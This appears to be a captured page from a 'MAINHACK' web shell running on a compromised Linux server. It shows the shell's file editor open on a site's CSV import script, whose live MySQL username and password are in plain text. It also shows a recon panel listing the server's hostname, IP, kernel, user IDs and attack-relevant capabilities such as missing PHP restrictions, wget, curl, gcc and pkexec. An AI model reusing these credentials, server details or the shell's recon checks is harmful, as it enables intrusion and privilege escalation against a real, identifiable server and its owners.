[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: csv.php
<?php if (isset($_POST["add"])) { $host="localhost"; // Host name. $db_user="thesjhvq_thesalonfriend"; //mysql user $db_password="z+_)d2=SV2n@"; //mysql pass $db='thesjhvq_thesalonfriend'; // Database name. $con=mysqli_connect($host,$db_user,$db_password,$db); // Check connection if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } $fileName = $_FILES["file"]["tmp_name"]; $file = fopen($fileName, "r"); while (($column = fgetcsv($file, 10000, ",")) !== FALSE) { $product_name = ""; if (isset($column[0])) { $product_name = mysqli_real_escape_string($con, $column[0]); } $qty = ""; if (isset($column[1])) { $qty = mysqli_real_escape_string($con, $column[1]); } $price = ""; if (isset($column[2])) { $price = mysqli_real_escape_string($con, $column[2]); } $supplier = ""; if (isset($column[3])) { $supplier = mysqli_real_escape_string($con, $column[3]); } $date = ""; if (isset($column[4])) { $date = mysqli_real_escape_string($con, $column[4]); } $business_name = ""; if (isset($column[5])) { $business_name = mysqli_real_escape_string($con, $column[5]); } if(!empty($product_name)){ $sql2 = "INSERT INTO products (product_name,qty,price,supplier,date,business_name) VALUES('$product_name','$qty','$price','$supplier','$date','$business_name')"; $de = mysqli_query($con,$sql2); } } } ?> <form enctype="multipart/form-data" method="POST"> <input type="file" name="file" class="form-control"> <br/> <button type="submit" name="add" class="btn btn-success submit_btn invoice-save-btm">Save</button> </form>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002